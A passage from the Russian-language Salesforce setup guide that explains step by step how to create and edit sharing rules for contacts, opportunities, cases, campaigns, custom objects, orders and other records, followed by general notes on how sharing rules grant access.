Прим.: Чтобыиспользоватьполе, котороенеподдерживаетсяправиламиобщегодоступанаосновекритериев,
рекомендуем создать бизнес-правило или триггер Apex для копирования значения поля в текстовое или
числовое поле и его использования в качестве критерия.

8. Встроке «Общий доступ с» выберитепользователей, которымпредоставляетсядоступкданным: выберитекатегорию
в первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке или поле поиска.

9. Выберите параметры общего доступа для пользователей.

ОписаниеПараметр доступа

Пользователи могут просматривать записи, но не могут
их обновлять.

Только для чтения

Пользователи могут просматривать и обновлять записи.Для чтения и записи
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10. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа

Редактирование правил общего доступа к контакту

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования правил
общего доступа:
• «Управление общим

доступом»

В правилах общего доступа на основе ответственного можно редактировать только
параметры общего доступа. В правилах общего доступа на основе других критериев
можно редактировать критерии и параметры общего доступа.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Щелкнитессылку«Правка»напротивнужногоправилавсвязанномсписке «Правила
общего доступа: контакт».

3. При необходимости измените метку и имя правила.

4. Есливыбраноправилонаосновеответственного, перейдитекследующемудействию.

Если выбрано правило на основе критериев, укажите критерии, которым должны
соответствовать записи для добавления в правило общего доступа. Доступные поля
определяются выбранным типом объекта. В качестве значения необходимо
использоватьтекстовуюстрокуиличисло. Чтобыизменитьстандартнуювзаимосвязь
типа «И» между всемифильтрами, щелкните ссылку «Добавитьлогикуфильтра...».

5. Выберите параметры общего доступа для пользователей.

ОписаниеПараметр доступа

Пользователи могут просматривать
записи, но не могут их обновлять.

Только для чтения

Пользователи могут просматривать и
обновлять записи.

Для чтения и записи

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа
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Создание правил общего доступа к возможности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
общего доступа:
• «Управление общим

доступом»

Правила общего доступа к возможностимогут опираться на ответственногоилидругой
критерий, включая тип записи и определенные значения полей. Разрешается создавать
не более 300 правил общего доступа к возможности, в том числе не более 50 правил
общего доступа на основе критериев.

1. Чтобы добавить общедоступные группы в правила общего доступа, убедитесь, что
соответствующие группы были созданы.

2. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

3. Нажмите кнопку «Создать» в связанном списке «Правила общего доступа:
возможность».

4. Заполнитеполя «Имяметки»и «Имяправила». Метка — этометкаправилаобщего
доступа, отображаемая в пользовательском интерфейсе. Имя правила — это
уникальное имя, используемое интерфейсом API и управляемыми пакетами.

5. Заполните поле «Описание». Данное поле содержит описание правила общего
доступа. Данное поле является дополнительным и может содержать не более 1 000
символов.

6. Выберите тип правила.

7. В зависимости от выбранного типа правила, выполните указанные ниже действия.

• «На основе ответственности за запись». Встроке «за которые отвечают участники» выберите пользователей,
записи которыхдолжныстать общедоступными: выберите категориювпервомраскрывающемся спискеи группу
пользователей во втором раскрывающемся списке (или в поле поиска, если организация использует более
200 очередей, групп, ролей или территорий).

• «На основе критериев». Укажите критерии «Поле», «Оператор» и «Значение», которым должны соответствовать
записи для добавления в правило общего доступа. Доступные поля определяются выбранным типом объекта. В
качестве значения можно использовать текстовую строку или число. Чтобы изменить стандартную взаимосвязь
типа «И» между всеми фильтрами, щелкните ссылку «Добавить логикуфильтра...».

Прим.: Чтобыиспользоватьполе, котороенеподдерживаетсяправиламиобщегодоступанаосновекритериев,
рекомендуем создать бизнес-правило или триггер Apex для копирования значения поля в текстовое или
числовое поле и его использования в качестве критерия.

8. Встроке «Общий доступ с» выберитепользователей, которымпредоставляетсядоступкданным: выберитекатегорию
в первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке или поле поиска.

9. Выберите параметры общего доступа для пользователей. В правилах на основе ответственного или в правилах на
основе критериев, где в качестве критерия выбрана ответственность, уровень доступа, заданный в параметре «Доступ
к возможности», относитсяк возможностям, принадлежащимучастникамгруппы, ролиилитерритории, независимо
от связанной организации.

ОписаниеПараметр доступа

Пользователи могут просматривать записи, но не могут
их обновлять.

Только для чтения

Пользователи могут просматривать и обновлять записи.Для чтения и записи
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10. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа

Редактирование правил общего доступа к возможности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования правил
общего доступа:
• «Управление общим

доступом»

В правилах общего доступа на основе ответственного можно редактировать только
параметры общего доступа. В правилах общего доступа на основе других критериев
можно редактировать критерии и параметры общего доступа.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Щелкнитессылку«Правка»напротивнужногоправилавсвязанномсписке «Правила
общего доступа: возможность».

3. При необходимости измените метку и имя правила.

4. Есливыбраноправилонаосновеответственного, перейдитекследующемудействию.

Если выбрано правило на основе критериев, укажите критерии, которым должны
соответствовать записи для добавления в правило общего доступа. Доступные поля
определяются выбранным типом объекта. В качестве значения необходимо
использоватьтекстовуюстрокуиличисло. Чтобыизменитьстандартнуювзаимосвязь
типа «И» между всемифильтрами, щелкните ссылку «Добавитьлогикуфильтра...».

5. Выберите параметры общего доступа для пользователей. В правилах на основе
ответственногоиливправилахнаоснове критериев, где в качестве критерия выбрана
ответственность, уровень доступа, заданный в параметре «Доступ к возможности»,
относится к возможностям, принадлежащим участникам группы, роли или
территории, независимо от связанной организации.

ОписаниеПараметр доступа

Пользователи могут просматривать записи, но не могут
их обновлять.

Только для чтения

Пользователи могут просматривать и обновлять записи.Для чтения и записи

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа
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Создание правил общего доступа к обращению

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
общего доступа:
• «Управление общим

доступом»

Правила общего доступа к обращению могут опираться на ответственного или другой
критерий, включая тип записи и определенные значения полей. Разрешается создавать
не более 300 правил общего доступа к обращению, в том числе не более 50 правил
общего доступа на основе критериев.

1. Чтобы добавить общедоступные группы в правила общего доступа, убедитесь, что
соответствующие группы были созданы.

2. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

3. Нажмите кнопку «Создать» в связанном списке «Правила общего доступа:
обращение».

4. Заполнитеполя «Имяметки»и «Имяправила». Метка — этометкаправилаобщего
доступа, отображаемая в пользовательском интерфейсе. Имя правила — это
уникальное имя, используемое интерфейсом API и управляемыми пакетами.

5. Заполните поле «Описание». Данное поле содержит описание правила общего
доступа. Данное поле является дополнительным и может содержать не более 1 000
символов.

6. Выберите тип правила.

7. В зависимости от выбранного типа правила, выполните указанные ниже действия.

• «На основе ответственности за запись». Встроке «за которые отвечают участники» выберите пользователей,
записи которыхдолжныстать общедоступными: выберите категориювпервомраскрывающемся спискеи группу
пользователей во втором раскрывающемся списке (или в поле поиска, если организация использует более
200 очередей, групп, ролей или территорий).

• «На основе критериев». Укажите критерии «Поле», «Оператор» и «Значение», которым должны соответствовать
записи для добавления в правило общего доступа. Доступные поля определяются выбранным типом объекта. В
качестве значения можно использовать текстовую строку или число. Чтобы изменить стандартную взаимосвязь
типа «И» между всеми фильтрами, щелкните ссылку «Добавить логикуфильтра...».

Прим.: Чтобыиспользоватьполе, котороенеподдерживаетсяправиламиобщегодоступанаосновекритериев,
рекомендуем создать бизнес-правило или триггер Apex для копирования значения поля в текстовое или
числовое поле и его использования в качестве критерия.

8. Встроке «Общий доступ с» выберитепользователей, которымпредоставляетсядоступкданным: выберитекатегорию
в первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке или поле поиска.

9. Выберите параметры общего доступа для пользователей.

ОписаниеПараметр доступа

Пользователи могут просматривать записи, но не могут
их обновлять.

Только для чтения

Пользователи могут просматривать и обновлять записи.Для чтения и записи
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10. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа

Редактирование правил общего доступа к обращению

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования правил
общего доступа:
• «Управление общим

доступом»

В правилах общего доступа на основе ответственного можно редактировать только
параметры общего доступа. В правилах общего доступа на основе других критериев
можно редактировать критерии и параметры общего доступа.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Щелкнитессылку«Правка»напротивнужногоправилавсвязанномсписке «Правила
общего доступа: обращение».

3. При необходимости измените метку и имя правила.

4. Есливыбраноправилонаосновеответственного, перейдитекследующемудействию.

Если выбрано правило на основе критериев, укажите критерии, которым должны
соответствовать записи для добавления в правило общего доступа. Доступные поля
определяются выбранным типом объекта. В качестве значения необходимо
использоватьтекстовуюстрокуиличисло. Чтобыизменитьстандартнуювзаимосвязь
типа «И» между всемифильтрами, щелкните ссылку «Добавитьлогикуфильтра...».

5. Выберите параметры общего доступа для пользователей.

ОписаниеПараметр доступа

Пользователи могут просматривать
записи, но не могут их обновлять.

Только для чтения

Пользователи могут просматривать и
обновлять записи.

Для чтения и записи

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа

684

Общий доступНастройка и обслуживание организации Salesforce



Создание правил общего доступа к кампании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (за
дополнительную плату),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
общего доступа:
• «Управление общим

доступом»

Правила общего доступа к кампании могут опираться на ответственного или другой
критерий, включая тип записи и определенные значения полей. Разрешается создавать
не более 300правил общего доступа к кампании, в томчисле не более 50правил общего
доступа на основе критериев.

1. Чтобы добавить общедоступные группы в правила общего доступа, убедитесь, что
соответствующие группы были созданы.

2. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

3. Нажмитекнопку«Создать» в связанномсписке «Правилаобщегодоступа: кампания».

4. Заполнитеполя «Имяметки»и «Имяправила». Метка — этометкаправилаобщего
доступа, отображаемая в пользовательском интерфейсе. Имя правила — это
уникальное имя, используемое интерфейсом API и управляемыми пакетами.

5. Заполните поле «Описание». Данное поле содержит описание правила общего
доступа. Данное поле является дополнительным и может содержать не более 1 000
символов.

6. Выберите тип правила.

7. В зависимости от выбранного типа правила, выполните указанные ниже действия.

• «На основе ответственности за запись». В строке «за которые отвечают
участники» выберите пользователей, записи которых должны стать
общедоступными: выберите категорию в первом раскрывающемся списке и группу пользователей во втором
раскрывающемся списке (или в поле поиска, если организация использует более 200 очередей, групп, ролей или
территорий).

• «На основе критериев». Укажите критерии «Поле», «Оператор» и «Значение», которым должны соответствовать
записи для добавления в правило общего доступа. Доступные поля определяются выбранным типом объекта. В
качестве значения можно использовать текстовую строку или число. Чтобы изменить стандартную взаимосвязь
типа «И» между всеми фильтрами, щелкните ссылку «Добавить логикуфильтра...».

Прим.: Чтобыиспользоватьполе, котороенеподдерживаетсяправиламиобщегодоступанаосновекритериев,
рекомендуем создать бизнес-правило или триггер Apex для копирования значения поля в текстовое или
числовое поле и его использования в качестве критерия.

8. Встроке «Общий доступ с» выберитепользователей, которымпредоставляетсядоступкданным: выберитекатегорию
в первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке или поле поиска.

9. Выберите параметры общего доступа для пользователей.

ОписаниеПараметр доступа

Пользователи могут просматривать записи, но не могут их обновлять.Только для чтения

Пользователи могут просматривать и обновлять записи.Для чтения и записи
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ОписаниеПараметр доступа

Любой пользователь в выбранной группе, роли или территории может
просматривать, редактировать, переносить или удалять записи, а также
предоставлять к ним доступ, подобно ответственному.

Благодаря правилу общего доступа «Полный доступ», пользователи также
могутпросматривать, редактировать, удалятьи закрыватьдействия, связанные

Полный доступ

с записью, если их единым параметрам общего доступа задано значение
«Контролируется родительским объектом».

10. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа

Редактирование правил общего доступа к кампании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (за
дополнительную плату),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования правил
общего доступа:
• «Управление общим

доступом»

В правилах общего доступа на основе ответственного можно редактировать только
параметры общего доступа. В правилах общего доступа на основе других критериев
можно редактировать критерии и параметры общего доступа.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Щелкнитессылку«Правка»напротивнужногоправилавсвязанномсписке «Правила
общего доступа: кампания».

3. При необходимости измените метку и имя правила.

4. Есливыбраноправилонаосновеответственного, перейдитекследующемудействию.

Если выбрано правило на основе критериев, укажите критерии, которым должны
соответствовать записи для добавления в правило общего доступа. Доступные поля
определяются выбранным типом объекта. В качестве значения необходимо
использоватьтекстовуюстрокуиличисло. Чтобыизменитьстандартнуювзаимосвязь
типа «И» между всемифильтрами, щелкните ссылку «Добавитьлогикуфильтра...».

5. Выберите параметры общего доступа для пользователей.

ОписаниеПараметр доступа

Пользователимогутпросматриватьзаписи, нонемогут
их обновлять.

Только для чтения

Пользователи могут просматривать и обновлять
записи.

Для чтения и записи

Любой пользователь в выбранной группе, роли или
территории может просматривать, редактировать,

Полный доступ
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ОписаниеПараметр доступа

переноситьилиудалять записи, а такжепредоставлять книмдоступ, подобно
ответственному.

Благодаря правилу общего доступа «Полный доступ», пользователи также
могутпросматривать, редактировать, удалятьи закрыватьдействия, связанные
с записью, если их единым параметрам общего доступа задано значение
«Контролируется родительским объектом».

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа

Создание правил общего доступа к быстрому тексту

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
общего доступа:
• «Управление общим

доступом»

Чтобы создать правила общего доступа к быстрому тексту, выполните указанные ниже
действия.

1. Чтобы добавить общедоступные группы в правила общего доступа, убедитесь, что
соответствующие группы были созданы.

2. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

3. Нажмите кнопку «Создать» в связанном списке «Правила общего доступа: быстрый
текст».

4. Заполнитеполя «Имяметки»и «Имяправила». Метка — этометкаправилаобщего
доступа, отображаемая в пользовательском интерфейсе. Имя правила — это
уникальное имя, используемое интерфейсом API и управляемыми пакетами.

5. Заполните поле «Описание». Данное поле содержит описание правила общего
доступа. Данное поле является дополнительным и может содержать не более 1 000
символов.

6. Встроке «Быстрый текст: за которые отвечают участники» укажитепользователей,
которым принадлежат данные, путем выбора категории в первом раскрывающемся
списке и группы пользователей во втором раскрывающемся списке.

7. Встроке «Общий доступ с» выберитепользователей, которымпредоставляетсядоступкданным: выберитекатегорию
в первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке или поле поиска.

8. Выберите параметры общего доступа для пользователей.

ОписаниеПараметр доступа

Пользователи могут просматривать записи, но не могут
их обновлять.

Только для чтения

Пользователи могут просматривать и обновлять записи.Для чтения и записи
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9. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа

Создание правил общего доступа к настраиваемому объекту

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
общего доступа:
• «Управление общим

доступом»

Правила общего доступа к настраиваемому объекту могут опираться на ответственного
илидругойкритерий, включая типзаписииопределенныезначенияполей. Разрешается
создавать не более 300 правил общего доступа к настраиваемому объекту, в том числе
не более 50 правил общего доступа на основе критериев.

1. Чтобы добавить общедоступные группы в правила общего доступа, убедитесь, что
соответствующие группы были созданы.

2. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

3. Нажмите кнопку «Создать» в связанном списке «Правила общего доступа» для
нужного настраиваемого объекта.

4. Введите метку и имя правила. Метка — это метка правила общего доступа,
отображаемая впользовательскоминтерфейсе. Имяправила — это уникальноеимя,
используемое интерфейсом API и управляемыми пакетами.

5. Заполните поле «Описание». Данное поле содержит описание правила общего
доступа. Данное поле является дополнительным и может содержать не более 1 000
символов.

6. Выберите тип правила.

7. В зависимости от выбранного типа правила, выполните указанные ниже действия.

• «На основе ответственности за запись». В строке «за которые отвечают
участники» выберите пользователей, записи которых должны стать общедоступными: выберите категорию в
первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке (или в поле поиска,
если организация использует более 200 очередей, групп, ролей или территорий).

• «На основе критериев». Укажите критерии «Поле», «Оператор» и «Значение», которым должны соответствовать
записи для добавления в правило общего доступа. Доступные поля определяются выбранным типом объекта. В
качестве значения можно использовать текстовую строку или число. Чтобы изменить стандартную взаимосвязь
типа «И» между всеми фильтрами, щелкните ссылку «Добавить логикуфильтра...».

Прим.: Чтобыиспользоватьполе, котороенеподдерживаетсяправиламиобщегодоступанаосновекритериев,
рекомендуем создать бизнес-правило или триггер Apex для копирования значения поля в текстовое или
числовое поле и его использования в качестве критерия.

8. Встроке «Общий доступ с» выберитепользователей, которымпредоставляетсядоступкданным: выберитекатегорию
в первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке или поле поиска.

9. Выберите параметры общего доступа для пользователей.
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ОписаниеПараметр доступа

Пользователи могут просматривать записи, но не могут
их обновлять.

Только для чтения

Пользователи могут просматривать и обновлять записи.Для чтения и записи

10. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа

Редактирование правил общего доступа к настраиваемому объекту

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования правил
общего доступа:
• «Управление общим

доступом»

В правилах общего доступа на основе ответственного можно редактировать только
параметры общего доступа. В правилах общего доступа на основе других критериев
можно редактировать критерии и параметры общего доступа.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Щелкнитессылку«Правка»напротивнужногоправилавсвязанномсписке «Правила
общего доступа» для нужного настраиваемого объекта.

3. При необходимости измените метку и имя правила.

4. Есливыбраноправилонаосновеответственного, перейдитекследующемудействию.

Если выбрано правило на основе критериев, укажите критерии, которым должны
соответствовать записи для добавления в правило общего доступа. Доступные поля
определяются выбранным типом объекта. В качестве значения необходимо
использоватьтекстовуюстрокуиличисло. Чтобыизменитьстандартнуювзаимосвязь
типа «И» между всемифильтрами, щелкните ссылку «Добавитьлогикуфильтра...».

5. Выберите параметры общего доступа для пользователей.

ОписаниеПараметр доступа

Пользователи могут просматривать
записи, но не могут их обновлять.

Только для чтения

Пользователи могут просматривать и
обновлять записи.

Для чтения и записи
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6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа

Создание правил общего доступа к заказу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
общего доступа:
• «Управление общим

доступом»

Правилаобщегодоступакзаказумогутопиратьсянаответственногоилидругойкритерий,
включая тип записи и определенные значения полей. Разрешается создавать не более
300 правил общего доступа к заказу, в том числе не более 50 правил общего доступа на
основе критериев.

1. Чтобы добавить общедоступные группы в правила общего доступа, убедитесь, что
соответствующие группы были созданы.

2. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

3. Нажмите кнопку «Создать» в связанном списке «Правила общего доступа: заказ».

4. Заполнитеполя «Имяметки»и «Имяправила». Метка — этометкаправилаобщего
доступа, отображаемая в пользовательском интерфейсе. Имя правила — это
уникальное имя, используемое интерфейсом API и управляемыми пакетами.

5. Заполните поле «Описание». Данное поле содержит описание правила общего
доступа. Данное поле является дополнительным и может содержать не более 1 000
символов.

6. Выберите тип правила.

7. В зависимости от выбранного типа правила, выполните указанные ниже действия.

• «На основе ответственности за запись». Встроке «за которые отвечают участники» выберите пользователей,
записи которыхдолжныстать общедоступными: выберите категориювпервомраскрывающемся спискеи группу
пользователей во втором раскрывающемся списке (или в поле поиска, если организация использует более
200 очередей, групп, ролей или территорий).

• «На основе критериев». Укажите критерии «Поле», «Оператор» и «Значение», которым должны соответствовать
записи для добавления в правило общего доступа. Доступные поля определяются выбранным типом объекта. В
качестве значения можно использовать текстовую строку или число. Чтобы изменить стандартную взаимосвязь
типа «И» между всеми фильтрами, щелкните ссылку «Добавить логикуфильтра...».

Прим.: Чтобыиспользоватьполе, котороенеподдерживаетсяправиламиобщегодоступанаосновекритериев,
рекомендуем создать бизнес-правило или триггер Apex для копирования значения поля в текстовое или
числовое поле и его использования в качестве критерия.

8. Встроке «Общий доступ с» выберитепользователей, которымпредоставляетсядоступкданным: выберитекатегорию
в первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке или поле поиска.

9. Выберите параметры общего доступа для пользователей.
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ОписаниеПараметр доступа

Пользователи могут просматривать записи, но не могут
их обновлять.

Только для чтения

Пользователи могут просматривать и обновлять записи.Для чтения и записи

10. Нажмите кнопку «Сохранить».

Редактирование правил общего доступа к заказу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования правил
общего доступа:
• «Управление общим

доступом»

В правилах общего доступа на основе ответственного можно редактировать только
параметры общего доступа. В правилах общего доступа на основе других критериев
можно редактировать критерии и параметры общего доступа.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Щелкнитессылку«Правка»напротивнужногоправилавсвязанномсписке «Правила
общего доступа: заказ».

3. При необходимости измените метку и имя правила.

4. Есливыбраноправилонаосновеответственного, перейдитекследующемудействию.

Если выбрано правило на основе критериев, укажите критерии, которым должны
соответствовать записи для добавления в правило общего доступа. Доступные поля
определяются выбранным типом объекта. В качестве значения необходимо
использоватьтекстовуюстрокуиличисло. Чтобыизменитьстандартнуювзаимосвязь
типа «И» между всемифильтрами, щелкните ссылку «Добавитьлогикуфильтра...».

5. Выберите параметры общего доступа для пользователей.

ОписаниеПараметр доступа

Пользователи могут просматривать
записи, но не могут их обновлять.

Только для чтения

Пользователи могут просматривать и
обновлять записи.

Для чтения и записи

6. Нажмите кнопку «Сохранить».

691

Общий доступНастройка и обслуживание организации Salesforce



Создание правил общего доступа к запросу на инициализацию пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
общего доступа к запросу на
инициализацию
пользователя:
• «Управление общим

доступом» и
«Использование
функций подлинности»

Правила общего доступа к запросу на инициализацию пользователя могут опираться
только на ответственного за запись. Создание правил общего доступа к запросу на
инициализациюпользователя на основе критериев недоступно. Разрешается создавать
не более 300 правил общего доступа к запросу на инициализацию пользователя.

1. Чтобы добавить общедоступные группы в правила общего доступа, убедитесь, что
соответствующие группы были созданы.

2. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

3. Нажмите кнопку «Создать» в связанном списке «Правила общего доступа: запрос
на инициализацию пользователя».

4. Заполнитеполя «Имяметки»и «Имяправила». Метка — этометкаправилаобщего
доступа, отображаемая в пользовательском интерфейсе. Имя правила — это
уникальное имя, используемое интерфейсом API и управляемыми пакетами.

5. Заполните поле «Описание». Данное поле содержит описание правила общего
доступа. Данное поле является дополнительным и может содержать не более 1 000
символов.

6. В строке «за которые отвечают участники» выберите пользователей, записи
которых должны стать общедоступными: выберите категорию в первом
раскрывающемсяспискеи группупользователейвовторомраскрывающемсясписке
(или в поле поиска, если организация использует более 200 очередей, групп, ролей
или территорий).

7. Встроке «Общий доступ с» выберитепользователей, которымпредоставляетсядоступкданным: выберитекатегорию
в первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке или поле поиска.

8. Выберите параметры общего доступа для пользователей.

ОписаниеПараметр доступа

Пользователи могут просматривать записи, но не могут
их обновлять.

Только для чтения

Пользователи могут просматривать и обновлять записи.Для чтения и записи

9. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа

Редактирование правил общего доступа к запросу на инициализацию пользователя

Инициализация пользователя для связанных приложений
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Редактирование правил общего доступа к запросу на инициализацию пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования правил
общего доступа:
• «Управление общим

доступом»

В правилах общего доступа на основе ответственного можно редактировать только
параметры общего доступа. Создание правил общего доступа к запросу на
инициализацию пользователя на основе критериев недоступно.

1. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

2. Щелкнитессылку«Правка»напротивнужногоправилавсвязанномсписке «Правила
общего доступа: запрос на инициализацию пользователя».

3. При необходимости измените метку и имя правила.

4. Выберите параметры общего доступа для пользователей.

ОписаниеПараметр доступа

Пользователи могут просматривать
записи, но не могут их обновлять.

Только для чтения

Пользователи могут просматривать и
обновлять записи.

Для чтения и записи

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа

Инициализация пользователя для связанных приложений
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Рекомендации по правилам общего доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Правила общего доступа к
организациям и контактам
доступны в версиях:
Professional, Enterprise,
Performance, Unlimited и
Developer

Правила общего доступа к
территориям организации,
обращениям, интересам,
возможностям, заказам и
настраиваемым объектам
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правила общего доступа к
кампаниям доступны в
версиях: Professional
Edition (за дополнительную
плату), Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Версия Database.com
Editionподдерживает только
правила общего доступа к
настраиваемым объектам.

Правила общего доступа позволяют выборочно предоставлять доступ к данным для
заданных наборов пользователей. Прежде чем использовать правила общего доступа,
просмотрите указанные ниже примечания.

Предоставление доступа

• Спомощьюправилобщегодоступаможнопредоставитьболееширокийдоступ
кданным. Стандартныеуровнидоступаорганизациинемогутбытьдополнительно
ограниченны.

• Если несколько правил общего доступа предоставляют пользователю разные
уровнидоступакзаписи, пользовательполучаетсамыйнестрогийуровеньдоступа.

• Правилаобщегодоступа автоматическипредоставляютдополнительныйдоступ
к связанным записям. Например, правила общего доступа к возможностям
предоставляют членам роли или группы доступ к организации, связанной с
опубликованной возможностью, если такого еще нет. Аналогично правила
общего доступа к контактам и обращениям предоставляют членам роли или
группы доступ к связанной организации.

• Пользователивиерархииролейблагодаряправилуобщегодоступаавтоматически
получаюттакойжедоступ, чтоипользователиниженихвиерархии, еслиобъект
стандартный или выбран параметр «Предоставить доступ с использованием
иерархий».

• Независимо от правил общего доступа, пользователи могут как минимум
просматривать организации в собственных территориях. Кроме того,
пользователям может быть предоставлен доступ на просмотр и редактирование
контактов, возможностей и обращений, связанных с организациями их
территорий.

Обновление

• При создании правила общего доступа на основе ответственного с такими же
исходными и целевыми группами, как и у существующего правила, это
существующее правило перезаписывается.

• Послесохраненияправилаобщегодоступаневозможноизменитьполе «Общий
доступ» при редактировании правила общего доступа.

• Правилаобщегодоступаприменяютсяковсемновымисуществующимизаписям,
соответствующим определению исходного набора данных.

• Правила общего доступа применяются как к активным, так и к неактивным
пользователям.

• При изменении уровней доступа для правила общего доступа все существующие записи автоматически
обновляются.

• Приудаленииправилаобщегодоступа автоматическиудаляютсяправаобщегодоступа, созданныеэтимправилом.

• Приизменениипользователей, входящих в группу, роль или территорию, правила общего доступа оцениваются
заново для добавления или удаления доступа при необходимости.

